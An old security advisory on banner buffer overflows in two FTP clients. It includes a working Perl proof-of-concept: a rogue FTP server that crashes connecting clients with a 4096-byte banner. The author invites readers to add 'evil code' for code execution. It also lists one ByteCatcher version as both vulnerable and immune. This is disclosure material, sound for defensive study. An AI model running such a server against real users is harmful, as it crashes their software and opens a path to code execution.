ftp_banner.txt

2003-02-04T00:00:00
ID PACKETSTORM:30780
Type packetstorm
Reporter Dennis Rand
Modified 2003-02-04T00:00:00

Description

                                        
                                            ` Banner Buffer Overflows found in   
Multible FTP Clients  
  
  
Discovered by Dennis Rand  
www.Infowarfare.dk  
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SUMMARY  
A client side vulnerability in the product allows remote servers to cause the   
client   
to crash by sending it a large banner.  
  
32bit FTP Client has currently been downloaded 19,330 times from   
www.downloads.com  
ByteCatcher FTP Client has currently been downloaded 169,912 times from   
www.downloads.com  
  
DETAILS  
  
  
Vulnerable systems:  
* 32bit FTP Client version p9.49.01   
ByteCatcher FTP Client V1.04b   
  
Immune systems:  
* 32bit FTP p9.50.01  
ByteCatcher FTP Client V1.04b   
  
It's possible to crash theise FTP Clients by sending long (4096 bytes) FTP   
banner to it.   
The other more dangerous problem could be that this can be used to execute   
arbitrary code,  
on the users machine.  
The following transcript demonstrates a sample exploitation of the   
vulnerabilities, only to the point that we will kill the client, it is up to   
you to put in  
the evil evil code =)  
  
  
#!/usr/bin/perl  
######################################################  
#  
# Affected systems:  
# 32bit FTP Client version p9.49.01  
# ByteCatcher FTP Client V1.04b   
# Possible many other clients, got this problem to  
#  
# http://www.infowarfare.dk  
#   
# Dennis Rand - Matrix@infowarfare.dk  
#  
# When FTP client connects to this server they will CRASH  
# ----------------------------------------------------------  
# Disclaimer: this file is intended as proof of concept, and  
# is not intended to be used for illegal purposes. I accept  
# no responsibility for damage incurred by the use of it.  
# ----------------------------------------------------------  
#  
#   
#  
#   
#######################################################  
use IO::Socket;  
$port = "21";  
$data = "a";  
$num = "4096";  
$buf .= $data x $num;  
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse   
=> 1, Listen => 2)  
or die "Couldn't create tcp-server.\n";  
while ($client = $server->accept()) {  
print "Client connected.\n";  
print "Attacking...";  
print $client "$buf";  
print "OK\n";  
close($client);  
}  
  
Detection:  
32bit FTP Client version p9.49.01 and ByteCatcher FTP Client V1.04b   
is vulnerable to the above-described attacks.   
Earlier versions may be susceptible as well. To determine if a specific   
implementation is vulnerable, experiment by following the above   
transcript.   
  
Vendor response:  
  
  
Disclosure timeline:  
04/01/2003 Found the Vulnerability.  
04/01/2003 Author notified.   
01/02/2003 Responses received  
04/02/2003 Public Disclosure.  
  
  
ADDITIONAL INFORMATION  
The vulnerability was discovered by <mailto:matrix@infowarfare.dk> Dennis Rand  
  
DISCLAIMER:   
The information in this bulletin is provided "AS IS" without warranty of any   
kind.   
In no event shall we be liable for any damages whatsoever including direct,   
indirect,   
incidental, consequential, loss of business profits or special damages.   
  
  
  
  
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